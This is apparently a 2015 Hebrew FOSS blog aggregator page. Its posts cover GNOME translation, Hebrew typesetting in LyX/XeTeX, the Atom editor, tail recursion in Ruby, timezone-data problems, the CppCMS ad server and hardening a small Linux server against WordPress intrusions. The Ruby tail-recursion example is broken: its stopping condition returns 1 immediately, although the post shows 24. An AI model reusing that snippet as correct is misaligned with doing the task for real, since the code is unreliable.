פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

05 July, 2015

Yosef Or Boczko

תרגום GNOME – לקראת הסוף ?

ערב טוב.

מזה זמן ברצוני לכתוב רשומה ולעדכן על תרגום GNOME. בזמן האחרון הזמן העומד לרשותי הולך ומצטמצם, ובכל זאת אני משתדל להשאיר את המערכת מתורגמת ברמה סבירה, לכל הפחות בשימוש הפשוט – תקינות מימין לשמאל ותרגום מלא.

בקרוב אתגייס, על כן מרגע זה אוכל לתרגם אחת לשבועיים עד לאחת לחודש.

אראה אם אוכל לתחזק את התרגום במהלך השירות הצבאי. אם לא אעמוד בכך, אשתדל לראות אם מישהו יוכל לקחת על עצמו את המשימה, אם ירון יוכל לקחת עליו בחזרה את מלאכת התרגום, אם יש לו זמן אם למישהו אחר. לעת עתה, על כל פנים, אני לוקח בחשבון שאולי אספיק, בכל זאת, לתחזק את התרגום בעצמי גם במהלך השירות הצבאי.

מבחינה טכנית, כעת, אין באפשרותי להמשיך לתרגם, וזאת לאחר שלפני שבוע המסך שלי עלה בסערה השמימה (הוא לא נשרף, סתם הפסיק לפעול). כנראה רק בתחילת השבוע הבא אשיג מסך חדש (בינתיים אני עסוק בדברים אחרים, כך שנוח לי להיות ללא מחשב).

מטרתי היא להשאיר את GNOME מתורגם באופן מלא (כפי שהשארתי אותו ב-3.16), וכן להספיק ולהעביר את החבילות שלי מה-AUR הישן ל-AUR 4, לפני הגיוס.

יתכן ואוכל להגיע לכנס אוגוסט פינגווין השנה, על אף שכבר לא אהיה עוד אזרח. את כנס GUADEC, כנס מפתי ומשתמשי GNOME השנתי – הפסדתי השנה :-(

אזכיר כאן את נגן המוזיקה Lollypop, אותו תרגמתי מרגע שהיה נראה לי שימושי. נגן מוזיקה זה הוא פיצול של gnome-music, אם כי אינו עושה שימוש ב-tracker. הממשק שלו מאד נוח, עם כמה וכמה דברים די שימושיים. אין לי אותו כאן ועל כן לא אסקור את הנגן, אף צילומי מסך אין לי. על כל פנים – הנגן מתורגם ותקין מימין לשמאל. מומלץ ביותר.

לבסוף אומר תודה לאלה שהיו כאן, מי שדיווח לי על תקלה בתרגום או תקלה בכיווניות, מי שנעזרתי בו עם שאלות מכאן ומשם ומי שסתם קשקשתי לו מדי פעם. יש פה אנשים טובים, באמת.

והשיר כמובן לכבודכם :-)

ערב טוב,

יוסף אור

05 July, 2015 07:26 PM

04 July, 2015

Guy Rutenberg

Creating a Hebrew Document in LyX 2.1 with XeTeX

This post complements the basic LaTeX template I gave yesterday for typesetting Hebrew with XeTeX. I’ll walk through the (short) list of steps needed to configure LyX with XeTeX.

Prerequisites

Setting up the document

Create a new document and open the settings dialog (Document -> Settings...).

  1. Pick a suitable Document class. I recommend “KOMA-Script Article” but “Article” works just as fine. Avoid “Hebrew Article”, as it is broken under XeTeX.
  2. Under Fonts check the box next to `Use non-TeX fonts (via XeTeX/LuaTeX) and select suitable fonts:
    • Roman: Frank Ruehl CLM. David CLM is also a good choice with somewhat better italics variant.
    • Sans Serif: Simple CLM.
    • Typewriter: Miriam Mono CLM.
    • There is no need to change the Math font.
  3. Under Language select Hebrew as the document’s language.

That’s basically it. You can now write your document and compile it. I would suggest saving these settings as default (via “Save as Document Defaults”) or saving it as a template so you won’t need to repeat those steps.

Writing in English

To insert English text in your Hebrew document, you need to change the current language. The easiest way to do so is to create a keyboard shortcut for it:

  1. Go to Tools -> Preferences -> Editing -> Shortcuts
  2. Write “language” under “Show key-bindings containing:”.
  3. Select “language” under “Cursor, Mouse and Editing Functions” and click “Modify” to set a keyboard shortcut (F12 is traditionally used for this).

Now you can toggle the current language between English and Hebrew by simply pressing F12.

Remark about Fonts

It is preferable to use fonts that provide both Hebrew and Latin scripts, as otherwise there might be significant style differences which make the document look weird. It is possible to set a different font for Hebrew and Latin, but care needs to be taken to match styles. To do so, add the following lines to the Preamble:

\newfontfamily\hebrewfont[Script=Hebrew]{David CLM}
\newfontfamily\hebrewfonttt[Script=Hebrew]{Miriam Mono CLM}
\newfontfamily\hebrewfontsf[Script=Hebrew]{Simple CLM}

04 July, 2015 06:09 PM

03 July, 2015

ik

שבוע עם Atom

כשעורך הטקסט של github הנקרא Atom רק יצא, והיה בגרסאות די נמוכות של פיתוח, החלטתי לקחת אותו לסיבוב, וראיתי שהוא צעיר מידי, אבל עם המון פוטנציאל.

Atom מציע כלום כמעט, למעט אוסף של תוספים, כאשר ישנם תוספים שמגיעים ברירת מחדל, וכאלו שצריך להתקין.

העורך משתמש בחלקים של כרומיום, ב node.js, ומשתמש גם ב coffeescript עבור התצוגה של דברים (הנעשים בcss).

הבעיה העיקרית שהיתה לי עם עורך הטקסט, היא שעורך הטקסט מבזבז כרוני של משאבי מחשב, ושכל הזמן היו עדכונים מאסיביים. אז הפסקתי להשתמש בו די מהר.

גרסה 1.0 יצאה, והחלטתי לקחת אותה לסיבוב ולראות מה השתנה בגרסה הזו מכל שאר הגרסאות.
ובכן בראש ובראשונה היא לוקחת ממני פחות משאבים.
דבר שני, יש טכנולוגיות שהיא טובה בהם יותר וטכנולוגיות שהיא טובה בהם פחות.
למשל עם go, יש לה תוספים מדהימים, אבל עם PHP, ובכן, אני לא רואה שהתוספים מאפשרים לי לעבוד כמו שצריך.

העניין הוא ש 1.0 קרוב להיות משהו טוב, אבל ישנם מספר דברים שעדיין לא אפויים מספיק:

בשורה התחתונה, במידה ויש תוספים שאתם צריכים ועובדים כמו שצריך, הוא יכול להיות מצויין עבורכם, אבל במידה וזה לא המצב, עדיין צריך לחכות, אבל אני בהחלט ממליץ לכם לנסות.


תויק תחת:atom, ide and editors, ui, טכנולוגיה, פיתוח, קוד פתוח, תוכנה, תכנות

03 July, 2015 08:29 AM

01 July, 2015

Oldie

Syncthing: סנכרון קבצים בן מחשבים מרוחקים

היכולת לשתף בזמן אמת מספר רב של קבצים וספריות בן מחשבים וטלפונים ניידים (תוך גיבוי בענן) שדרגה את איכות חיינו ללא היכר. דרופבוקס ודומיה מציעות נוחות רבה שקשה לוותר עליה. מאידך כל הטוב הזה לא חסר מגרעות: האחסון בענן אומר … להמשיך לקרוא

01 July, 2015 12:22 PM

24 June, 2015

Gabor Szabo

YAPC and Perl Workshop participant numbers

For the full article visit YAPC and Perl Workshop participant numbers

24 June, 2015 05:39 PM

21 June, 2015

Hamakor

אוגוסט פינגווין 2015 – קריאה למתנדבים ומרצים

אוגוסט פינגווין, הכנס הקהילתי לתוכנה חופשית, חוזר השנה.
יש לנו מקום וזמן — מכללת שנקר, יום ששי 7.8.
יש לנו מארגן ראשי — החתום מטה, shai®hamakor,org,il.
יש לנו מספר מתנדבים לחלק מהתפקידים האחרים.
מה שעוד חסר לנו זה רוב השאר.

  • לענייני אבטחת מידע, אנא פנו לאדיר בכתובת adir®hamakor,org,il.
  • בתחומים אחרים, אם אתם רוצים להעביר תוכן או מתנדבים לנהל את המסלול, אנא פנו אלי (שי).
  • בהקשר הזה של תכני הכנס, ראוי להזכיר גם שאנחנו מחפשים מתנדבים לועדת פרס „המקור”.

בואו לעזור – הכנס הוא של כולנו!

שי.

Share

21 June, 2015 12:04 PM

Yoav Farhi

גלידת שפרעם

image

מצאתי בסופר בכפר הקרוב, והייתי סקרן מספיק כדי לנסות. וואו, טעים!


21 June, 2015 10:26 AM

Artyom Beilis

שעון קיץ בישראל ומחשבים

ביום ראשון האחרון, חצי מדינת ישראל התעוררה עם שעונים לא נכונים.

כולנו מוכנים לכוון את השעונים שלנו כשיש מעבר לשעון חורף, בודקים פעמיים יומנים וזמנים, מסתכלים על שעונים וכד'. אבל מה עושים שימים בהם לא התשנה שעון - אלא היה אמור להשתנות השעון - אף אחד לא שם לב.

בזיון. מרבית הפצות לינוקס לא הספיקו לעדכן את tzdata, למשל לא Debian ולא Ubuntu יציבות קיבלו איזורי זמן נכונים (גם בעדכונים אחרונים), העדכון האחרון של Red Hat גם הוא יצא ממש לא מזמן. כמובן גם Windows לא הספיקו להוציא עדכונים - כך שגם אשתי שלא משתמשת בלינוקס התעוררה עם שעון לא תקין במחשב שלה - והוא תמיד מעודכן אצלה עד לדקה האחרונה.

אני כמובן כבר לא מדבר על יישומים שמנהלים את IANA Time Zone Database בעצמם, יישומים זניחים כמו Java או ICU וכד.

אז מה לדבר על טלפונים סלולריים? יש כאלה האשימו בבזיון את חברות הסלולר... אבל נדמה לי שבעיה קצת יותר עמוקה.

עדכון החוק האחרון היה ביולי 2013 - אז האם אפשר להאשים את מאות (אם לא אלפי) האנשים והארגונים האחראים על עדכונים שוטפים שלא הספיקו להפיץ את עדכוני איזור הזמן האחרונים? האם אפשר להאשים מיליוני משתמשים בישראל בכך שלא התקינו את העדכונים האחרונים (אם הם היו בכלל)?

התשובה היא: הבזיון האמתי הוא לא אותם האנשים אלא החקיקה חפוזה שלא באמת מתחשבת בהשלכות. כנראה לא היה מי שהסביר לח"כ היקרים שלנו ששינוי איזור זמן זה לא בדיוק הזזת מחוגים בשעה המתאימה. (או הסבירו אבל אף אחד לא הקשיב או העדיף שינוי פופליסטי)

הטקסט המלא

21 June, 2015 10:16 AM

לשרת את כל אתרי החדשות בארץ בעזרת... CppCMS

אני לא יודע אם שמתם לב, אבל בשנה האחרונה קצב הפיתוח של תשתית CppCMS ירד בצורה ניכרת. ריכזתי את מרבית המאמצים במערכת פרסום מיוחדת הבנויה על תשתית ה־CppCMS שפותח עבור לקוח.

הפרויקט נקרא ליניקום.

היום, כשליניקום כבר פעיל זמן רב ומתוחזק ע"י צוות מורחב, אני אוכל להקדיש יותר זמן לתשתית CppCMS עצמה.

מספר מילים על "ליניקום":

"ליניקום" הוא מנוע שמביא פרסומות תלויות תוכן ומותאמות למשתמש לאתרים שונים בקלות רבה. מרבית אתרי החדשות הגדולים בארץ משתמשים בשירותי ליניקום, ביניהם: ynet, הארץ, מאקו, Jerusalem Post, ואללה ועוד רבים אחרים כולל מספר אתרים גדולים בחו"ל.

להלן כמה עובדות מעניינות:

  • ליניקום מבוססת על טכנולוגית CppCMS
  • המערכת משרתת כ־10,000,000 פניות המותאמות למשתמש ביום - קרי כ־115 פניות בשניה.
  • בשעות העמוסות הקצב מגיע לכ־160 פניות בשניה.
  • השרת מייצר תעבורה יוצאת ממוצעת של כ־11 מגאביט בשניה.
  • צריכת זיכרון הכוללת של המערכת (שרת וואב, בסיס נתונים, יישום, מערכת ההפעלה) הוא בסביבות 360MB
  • העומס הממוצע על המעבדים הוא כ-5%
  • השרת רץ על c1.medium instance בודד ב־Amazon EC2

המערכת רצה מאחורי lighttpd ומשתמשת ב־PosgreSQL לשמירה וניהול הנתונים בצורה אינטנסיבית, עם זאת, מרבית הנתונים הנדרשים בזמן אמת שמורים ומנוהלים בזיכרון.

כמעט כל פניה לשרת דורשת עיבוד נתונים על מנת לספק פרסומות מותאמות אישית, מבחינה טכנית, זה אומר שלא ניתן לעשות "מיקור חוץ" של הפניות האלה לקבצים הסטטיים וכל פניה של כל לקוח צריכה להיות מטופלת בנפרד.

מערכת הפרסום הזו, היא הדוגמה הקלאסית לשימוש בטכנולוגיית CppCMS - מערכת שצריכה להיות מהירה ואפקטיבית. מערכת שמסוגל להתמודד עם עומסים גבוהים ולעתים חריגים ללא בעיות ולספק איכות השירות גבוהה ביותר.

שימוש בנתונים השמורים בזיכרון, ניהול נתונים שלא יכולים להיות שמורים בזיכרון מטמון - זה המקום בו יכולות CppCMS באות לידי ביטוי במלואן. יכולת גדילה גבוהה עם דרישות תחזוקה מינימליות, אמינות גבוהה - האם אלה שמאפשרים לדאוג לצד העסקי בלי לחשוב על בעיות ביצועים אפשריות.

הטקסט המלא

21 June, 2015 10:16 AM

20 June, 2015

ik

recursive tail

בפעם הקודמת שדיברתי על שפות פונקציונאליות, הזכרתי את הגישה של  פונקציות מונדיות.
אחד הדברים הנוספים שהרבה שפות פונקציונליות מכילות היא היכולת לבצע רקורסיה.

הסיבה לכך היא שמרבית שפות התכנות הפונקציונאליות, אינן מסוגלת להחליף ערכים לאחר שנשמרו במשתנים, ולמעשה משתנה הוא שם לא נכון, כי לאחר ההשמה של המידע למשתנה, הוא הופך להיות קבוע.

לשם כך, ישנם כל מיני צורות להתמודד עם השמת מידע, שאחת הדרכים המקובלות היא רקורסיה.
הסיבה היא שרוקרסיה שכתובה נכון, תחזיר את הערך הסופי לאחר עיבוד המידע שהפונקציה צריכה לבצע, וזה מסייע גם לכתוב לרוב קוד מאוד קל ופשוט, אם הוא מכיל מעט לוגיקה וכתוב בגישה נקייה.

אבל יש בעיה עם רקורסיות – כל פעם כאשר קוראים לפונקציה, נוסף stack frame חדש לקריאה הזו.
כלומר יש לי מספר עותקים של הפונקציה באוויר עם זיכרון במיוחד עבורה.

ישנם מספר תפיסות, אשר אחת ממנה גם יוצרת אופטימיזציה אשר מדברת על איך לכתוב רקורסיה שהתרגום שלה יתורגם כאילו היה לולאה למשל, אך ללא ההתמודדות עם "קבועים" (כלומר כאשר הערך של "משתנה" הוזן ועכשיו ה"משתנה" הפך לקבוע) שקורה בלולאה רגילה בשפה פונקציונאלית.

הגישה המוכרת ביותר לכך נקראת tail recursion. או רקורסיית זנב בעברית טכנית.

הגישה אומרת, כי במידה ואינני צריך לעבד את המידע החוזר אלי מהרקורסיה בפונקציה הרקורסיבית, קל יותר להבין זאת, ואיתה קל יותר לבצע אופטימיזציה. בייחוד אם זו ההוראה האחרונה באותה הפונקציה.

מה הכוונה? אשתמש בקוד רובי (שהוא לדעתי קריא מאוד) לשם כך.

רקורסיה בגישה ה"רגילה" תהיה כתובה כך:

def recursive(n)
  if n <= 1
    1
   else
     n * recursive(n - 1)
   end
end

recursive(4)
=> 24

רקורסיית זנב, תראה כך:

def tail_recursive(current, n, result)
  return result if current <= n

  new_result = result * current
  tail_recursive(current + 1, n, new_result)
end

tail_recursive(1, 4, 1)
=> 24

השוני הזה הוא בגלל שאין לנו חישוביות ביציאה מהפונקציה, אשר רק מחזירה את הערך מהקריאה הקודמת. ולמעשה ככה אנחנו מסייעים למפרש או קומפיילר לבצע אופטימיזצייה שגורמת ל stack להיות קטן יותר.

אבל לא הכל ורוד בזה. קשה יותר לדבג בעיות ברקורסיית זנב, היות ולמעשה אין לנו stack frames רבים, שיהיה ניתן להבין באיזה שלב יש בעיה. ובכך אין לנו stack trace שיסייע לנו בנושא.

יותר מזה, בשפה כמו רובי (ופיתון, אשר לא מכילה רקורסיית זנב – מבחירה), קל יותר ואף עדיף דווקא להשתמש בלולאות במקרה הזה, מאשר ברקורסיה.
יותר מזה, יש מגבלות שונות לכמות הקריאות שניתן לבצע לפונקציה זו או אחרת, בעוד שקל יותר לבצע לולאות על מידע גדול יותר.

כך שלפני שמשתמשים ברקורסיה, צריך להבין לעומק האם לא עדיף להשתמש בלולאה במקום, אך במידה והשפה או הצורך קיים, יש כלי נוסף שניתן לקחת בחשבון.


תויק תחת:Python, Ruby, טיפים וטריקים, טכנולוגיה, פיתוח, קוד פתוח, תוכנה, תכנות

20 June, 2015 06:41 PM

18 June, 2015

Yoav Farhi

וורדפרס.קום – דירוג מושלם בשמירה על זכויות הפרט הדיגיטליות

ה-EFF (קרן החזית האלקטרונית) הוא ארגון הפועל למען זכויות הפרט בעולם הדיגיטלי. אתמול פרסם הארגון דוח שנתי המדרג את האתרים הגדולים בנושא שמירה על פרטיות המשתמשים וביחס שלהם אל בקשות מגורמים ממשלתיים.

דוח זה מתווסף לדרוג קודם שבדק את יחס החברות אל חופש הביטוי וההגנה על המשתמשים בפני ניצול לרעה של חוקי זכויות יוצרים וסימנים רשומים.

מבין כל האתרים והשירותים שנבדקו, WordPress.com הוא היחיד שקיבל ציון מושלם בשני הדירוגים, וזו כמובן גאווה גדולה.

זו הזדמנות טובה גם לציין שהמסמכים המשפטיים שלנו (כמו תנאי השימוש, והצהרת הפרטיות) משוחררים תחת רישיון Creative Commons וזמינים ב-Github.

לקריאה נוספת: A perfect EFF score! We’re proud to have your back.


18 June, 2015 08:26 AM

12 June, 2015

Ram on Agmon

אתגרי ההגנה על שרת לינוקס

השרתים בעבודה עובדים נכון יש לי שליטה על האפליקציה, יש חומת אש ראויה לשמה, ויש מערכות לוגים וניטורים לכל פסיק שהמערכת מבצע. מרות שקיימים אתגרים רבה הקמה של מערכי מידע בני מאות ואלפי שרתים, לפעמים דווקא מכונה קטונה, בעלות של 6$ לחודש יכולה לספק אתגרים חדשים.

זו היא מכונה וירטואלית, עם 512 מגה זכרון, היושבת לה ב- digital ocean. חברה שלא עסקתי באוטומציה מול המערכות שלה, אבל מהתרשמות כללית, היא מספקת שירות ברמה מאוד גבוהה. (לא סתם הם הגדולים בעולם אחרי amazon). יש דברים, שב- rackspace אוכלים עליהם שיט, כמו חוסר היכלת לשמור על כתובת ip אם מורידים את השרת (מקווה שהשתפרו). בכל מקרה, בשביל 6$ לחודש, יש לי בסיס נתונים, שרת web, ושרת דואר. וזה עובד מאוד יפה. לא שיש הרבה תנועה.

כמות ההגנות שהייתי צריך להרים כדי שהמערכות לא ישרתו אדונים אחרים, היתה הרבה מעבר למה שחשבתי. תמיד הייתה לי הגנה על ה-ssh, אבל הפעם, נאלצתי להעבות את הקווים ולחזק את החומות. יש נגיוס, וכל חריגה במדדים של העומס, אני מיודע.

ניסינות פריצה לממשק המנהל – בטונות. בלי בושה. התקנתי תוכנת הגנה, המאתרת ניסיונות פריצה וחוסמת אותם. ובכל המערכות מותקן חוסם ספאם.

אני מעדכן את המערכת ללא הכרה, ועדיין, פרצו לי ל-wordpress. וזה לא משנה כמה עידכנתי וכמה הגנתי, הדרך היחידה היא למנוע מהמערכת לכתוב לגמרי למערכת הקבצים, לא upload, לא עידכוני תוכנה מהממשק. זה ממש לא היה המצב לפני 3 שנים.

הזדוניים שותלים קבצים שתפקידם לשלוח מיילים דרך הדואר הפנימי של המערכת, כי דואר בתוך המערכת פתוח יותר.

רואים אותם באים, רואים גל של תנועה מגיע פתאום ומציף כל חלקה טובה בניסיונת פריצה. המערכת יכולה להיכנס לעומס מסויים. ואז, כמה שעות לאחר מכן, עוד גל של ניסינות להפעיל את מה שהגל הראשון ניסה לדחוף.

אני סה"כ מטרה קטנה בתוך ים מטרות, באוקינוס האינטרנט הגדול, והם סורקים כל מה שהם יכולים ומפציצים.

ההפרדה הזו בין פעולת הפריצה לפעלת הפריצות, מצביעה על יעילות מאוד גבוהה בעבודה, הם מקדישים את מרצם לתחום אחד. הם עובדים בכזה קנה מידה, שהם כל פעם משתמשים בכל משאבי ההתקפה שלהם, מבחינת רוחב פס ומעבד, בעיקר). לדעתי, הם גם מנטרים את ההצלחה באמצעות מיילים שנשלחים אליהם, במסגרת ה- spam וברגע שהם קולטים שהם פרצו למישהו, הם נכנסים בו בכל הכוח, לשלוח כמה שיותר ספאם עד שהמערכת תחסם או תקרוס, מה שבא קודם.

לפעמים, רואים נסינות פריצה כאשר הפורצים משאירים את הגדרות השפה שלו. ch ו-ru הכי נפוצות.

לרוסים יש ספאם ייחודי הם מספימים את הסקריטים של גוגל, ומזייפים תנועה  לאתר. כך, אתה רואה את השם שלהם אצלך, וזו מעין פירסומת על גבי הפלטפורמה של גוגל. חסמתי את רוסיה גם שם.

יש לי אוסף קוד זדוני ראוי לשמירה ולעיון. הכל ב- base64. וחיפוש של מחרוזת כאלו על מערכת הקבצים, עשוי לתת רמז למיקום שלהם (אחת הדרכים, היא לעקוב אחרי בעיות בשרת הדואר, ואז למצוא באותו הזמן את קובץ ההפעלה שמופעל על ידי קריאות ל-apache).

אפשר גם לחפש בלוגים, ניסינות. הפעלה לקבצי php שלא קיימים על מערכת הקבצים.

חסמתי את רוסיה וסין מלהגיע לשרתים. קצת עצוב שאחוזים כה ניכרים מכדור הארץ לא יכולים להנות מהבלוגים על השרת. מאידך, שקודם ילמדו עברית.

קישור נחמד עם הסברים לגבי ההרשאות הנכונות על מערכת הקבצים של אתר web.

זו מכונה של 5$ בחודש, וכמה אנרגיה הם משקיעים בה. יש להם אנשי מקצוע טובים, והם משכללים את עצמם כל הזמן.

 

הטקסט המלא

12 June, 2015 12:10 PM

11 June, 2015

Oz Nahum

Dictionaries in bash scripts - it is possible

Apparently, bash offeres assosiative arrays, similar to Python dictionary ... continue reading...

11 June, 2015 06:05 AM

Farewell Vundle, enter vim-plug

Vundle, the vim pluging manager used me for almost 4 faitfull years. But I recently discovered vim-plug ... continue reading...

11 June, 2015 06:05 AM

08 June, 2015

Ram on Agmon

חדשות התוכנה החופשית – 062015

מזה זמן מה לא יצא לי לעסוק בתחביבי שהוא כתיבת סקירה של מצב התוכנה החופשית. ולא משום שאין מה לכתוב. נהפוך הוא, יש כל כך הרבה, שאני פשוט קטון מכדי לנסות ולכסות פסיק ממה שהולך שם בחוץ. נראה שקצב הפיתוח ממשיך להכפיל את עצמו כל שנתיים.

עוד סיבה שאני לא כותב, זה שאני רוכב באופניים. אחד היתרונות, הוא כמובן זמן האיכות עם עצמי, ז"א ניקוי מוחלט של הראש. כתבתי עוד פוסט, בנושא האופן שבו לדעתי אפשר לרדת במשקל וגם להיכנס לכושר. אני עובד כיום בהרצליה פיתוח, אני רוכב מהוד השרון לאורך הירקון, ועד לרידנינג. אם אם לחץ בעבודה, אני נכנס למים הקרים ומביט על תל-אביב מגובה הים. זה לא מרגיש מדינת ישראל, אלא איזה מקום אקזוטי, שטוף שמש, ים כחול עמוק ומטוסים צבאיים מנמיכים אל תוך שדה דוב.

הרכיבה לוקחת שעה וחצי לכל כיוון. הצלחתי לרכב 250 קילומטר בשבוע. אבל זה סיפור לפוסט אחר.

בסוף שנת 2014 הכריזה מיקרוסופט שהיא אוהבת את לינוקס. כאילו שהאפיפיור יעבור ברית מילה. החודש, הם הודיעיו שהם יפתחו גישה ב- ssh אל השרתים שלהם, וגם יתרמו קוד לפרויקט openssh.
עבורי, מיקרוסופט אומרת :"הנה השרתים שלנו, אנחנו נותנים לכם לשלוט בהם". כי עבורי, ssh זה כלי שליטה על מכונות. וזה אומר, שאפשר בכלים פתוחים לבצע שינווים במערכות חלונות.
פעם, אנשים היו שואלים "האם יש את זה גם בלינוקס". עכשיו, התאגידים שואלים "איך עושים את זה בלינוקס". בשנת 2007, כשלראשונה התחלתי להתפרנס מתוכנה חופשית, זה היה מגניב אם תאגיד שאינו תאגיד תוכנה, היה מוכן לשים אצלו לינוקס כשרת איחסון פושטי או למשימות יעודיות.
לאחרונה, אני זוכה לראות את ההשלכות של מפץ הביג דאטא. אחד ממני מיני מפצים בתחום הטכנולוגיה. כיום, באופן כללי, כל מי שיש לו לקוחות, צובר המון המון מידע. שהוא רוצה לנתח. קיימות המון שיטות לנתח מידע, אם מדובר על כמויות קטנות של מידע, כל אחד מהעננים ישמח למכור לך מהכלים שלו.
אבל כאשר מדובר על כמויות באמת גדולות של מידע, אתה לומד להרים את המערכות שלך. כי זו האפשרות הזולה ביותר. מספר הכלים הזמינים הינו רב ביותר, ולכל אחד ההתמחות שלו.
יש בסיסי נתונים שבנויים למהירות הכי גבוהה. הכל נשמר בזכרון. יש כאלו, הבנויים לנתח את המידע תוך כדי הכניסה שלו, יש מערכות שיודעות לפצל את המידע ולהעביר ליעדים ספציפים, מנועי חיפוש למסמכים, ומערכות בקרה וניתוח של הסיפור הזה. יש גם מערכות להגדיר את כל זה. הכל זמין הכל חופשי, למי שיודע להשתמש. ומי שלא יודע? הוא כבר צריך להתחיל ללמוד. כי זה נע מאוד מהר.
לאחרונה, נכנס שחקן חדש לזירה, והוא ה- docker. המערכת מאפשרת אופטימזיציות של ביצועים בתוך הענן הנשכר או במכונות פיזיות. אם עד עכשיו, היכולת להגדיר פיסות של משאבים היו ברוזלוציה של מכונה וירטואלית ובזמן הארוך הלוקח לאתחל אותן ולהגדיר אותן, עכשיו, אפשר להזניק המון מכונות קטנות, שיבצעו כל אחת משימה מוגדרת. כמה שצריך, מזניקים, במהירות מאוד גבוהה ומפזרים את העומס לפי המשאבים הפנויים.
כבר עכשיו, קיימים כלים המאפשרים שליטה על צבירים של dockers. השימוש במערכת הזו, משפר את צריכת החשמל של מערכות בכל קנה מידה ועל כן גם את עלויות השימוש גם בעננים.
הנגזרות של ה- big data בשילוב עם טכנולוגיות docker מאפשרים זרימה של יותר מידע וניתוח שלו באיכות גבוהה יותר.
במקביל, נשאלת השאלה כיצד מצליחים לשפר תוכנה במהירות גבוהה. אתרי האינטרנט הינם מערכות תוכנה, וכן כל האפליקציות. על מנת לעמוד בקצב יש לייעל את מערכי הפיתוח.
ברמות ה- web והאפלקציות, נהוג לעשות שימוש בטכניקות של ci ו-ca. הטכנולוגיות מאפשרות לבחון במהירות שינויים בקוד, לבדוק וללאשר אותם ולהעביר אותם לייצור. על התאגידים למצוא דרכים לייצר מוצרים ולעמוד בתוכניות הפיתוח. לא תמיד זה קל. זה עלול להפוך קשה יותר ויותר כי יש כיום בשוק כלים שלא בנויים נכון ועדיין חברות משעינות את העורף האסטרטגי שלהם עליהן.
בתחום התוכנה החופשית, פרויקטים מורכבים וגדולים מצליחים לספק פיתוחים משמעותיים.
אם עד כה, חלונות וסוני נהנו משליטה מוחלטת בתחום משחקים ה-pc. הדבר כבר לא כזה ברור. המכונה של steam ממשיכה לצבור תאוצה, והשבוע היא תוצא למכירה (500$ ושווה כנראה בזכות השלט, שהוא אמור להיות משהו יוצא מהכלל, עוד נראה). בכל מקרה, היקף הסבת המשחקים ללינוקס צובר תאוצה, עם 100 משחקים חדשים בחודש. כיום, כבר מדובר על 1300 משחקים. לעומת, 6000 של מיקרסופט. מאידך, המנועים הולכים ומשתפרים, וכך גם היציבות. יש אומרים.

בקרנל, כרגיל, הדברים משעשעים, החל מאיזו הוספת בקשה/הבהרה בקוד של הקרנל, לגבי כללי ההתנהגות של המפתחים. כאשר פוזלים בעיקר כלפי לינוס. שהוא גס רוח כמעט כמו ריצ'רד סטולמן.

קרנל 4 חדש בא לעולם (שינו סיפרה כי הגיע הזמן). גירסא 4.1 כנראה תכלול שיפור ביצועים משמעותי עבור חומרה חדש של אינטל, לצד, שיפור ביצועים כללי, במערכות ssd.
בוירטאולוזיציה, ה- openstack ממשיך לעורר עניין. אני חושב שאפשר לאבד את הספירה כמה גירסאות כבר יש לדבר הזה, כמה מערכות חופשיות יש שנועדו לשפר את הביצועים שלו ואת השליטה בו.

תאגידים קטנים, השמים את המערכות שלהם בענן. אבל תאגידים גדולים יותר, לא יכולים לאפשר לעצמם את התענוג. הם חייבים להרים את מרכזי המידע שלהם בעצמם. לרבים מהם, יש גירסאות שהם התאימו על בסיס openstack. רבים אחרים, גם עוסקים בפיתוח של מערכות להתממשק ל- openstack. כי זו הדרישה של התאגידים הגדולים עוד יותר.
גם תחום הרשתות הוירטואלויות ממשיך לחגוג. כיום, השכבה של הנתבים אמורה רק לעסוק בתקשורת בין השרתים, ואילו ברמה האפליקטיבית ניתן לבצע תקשורת בין מכונות וירטואליות, כאשר היא בשכבה מעל לשכבה הפיזית, שהיא יותר סטטית.

ה- arm ממשיך להפציץ ויש כיום דיבורים רצינים על שרתי arm, זה בכל מקרה מספיק טוב בשביל לאפשר למאות ישראלים לבחון ברצינות התנתקות מהכבלים, בזכות מערכות המוליטמדיה החופשיות (xbmc kodi). זה היה ממש לא מזמן שכל הקוד של arm שולב אל הקרנל, כך שיש קרנל אחד מיכולתיו כולם נהנים.

אני חושב שהעתיד צופן אתגרים די מעניניים בתחום הטכנולוגיה. מה שנחשב יציב עכשיו, עלול להיזכר כאנקדוטה עוד מספר שנים. לא רק בתחום הטכנולוגיה הדברים זזים מהר. אם  בעבר, כדי לקבל תואר אקדמי, היית צריך להגיע לאוניבסריטה.כיום, בכמה מאות דולרים אתה מסודר. למה ללכת לקורסים מיושנים כאשר המעוניין יכול לבחור לו את התואר המעניין אותו ולהשתלב בעבודה? מה הטעם בכל הבניניים, הכבישים והעומס הנוצר בעקבות נסיעות הסטודנטים, אם הדבר כבר זמין הרבה יותר בזול, מהר, ולעיתים קרובות – גם באיכות הרבה יותר גבוהה. נראה שאין סיבה מהותית שהדברים לא ישתנו במהירות, ומי שאינו מסוגל להשלים תואר באמצעות המחשב, גם לא יהיה מסוגל לעבוד דרכו. ולו בגלל שהכל נעשה עוד יותר טכנולוגי.

בפינת הרכילות, אפשר לציין את מה שקרה עם sleshdot. אתר החדשות הוותיק הואשם בכך שהוא מונע ביקורת על אתר התוכנה והקוד sourceforge. שני פרויקטים (nmap, windows gimp) הביעו זעם על כך שהדפים שלהם הועברו לשליטה של מנהלי האתר. קיימת גם טענה שהוא משלב תוספי תוכנה לא לגיטמים לתוכנות באתר. לא בדקתי. מדובר כנראה על דפים ישנים שננטשו ועברו לאתרים כמו github, ו-sourceforge ממשיכים לספק בינארים "מזוהמים".

יש דיבור על  virtualbox 5, כנראה אפילו טובה יותר.
היתה גם אובנטו חדשה עם systemd, אני מאוד מרוצה מ-kde. במשרדים, אני עובד עליו כמכונה וירטואלית, וגם אז זה נחמד.

הטקסט המלא

08 June, 2015 09:43 PM

29 May, 2015

Shlomi Fish

Vim Tip: Going to the top or bottommost window/viewport

In the Vim and GVim text editors, one can use Ctrl+W;t (or Ctrl+w;Ctrl+t) to go to the topmost/most top window (= a section of the screen in Vim terminology) and Ctrl+W;b to go to the bottommost/most bottom one.

Cheers!

29 May, 2015 05:08 PM

22 May, 2015

Gabor Szabo

Source of visitors of Perl-related sites

For the full article visit Source of visitors of Perl-related sites

22 May, 2015 01:33 PM

16 May, 2015

Kobi Zamir

libhdate-js

אחרי שתרגמתי את את libhdate ל php החלטתי לתרגם את הקוד גם ל javascript , הסיבה העיקרית היתה שאני יכול :-) התרגום נעשה קודם ל typescript ואח"כ ל javascript.

הטקסט המלא

16 May, 2015 06:41 PM

14 May, 2015

Kobi Zamir

libhdate-php

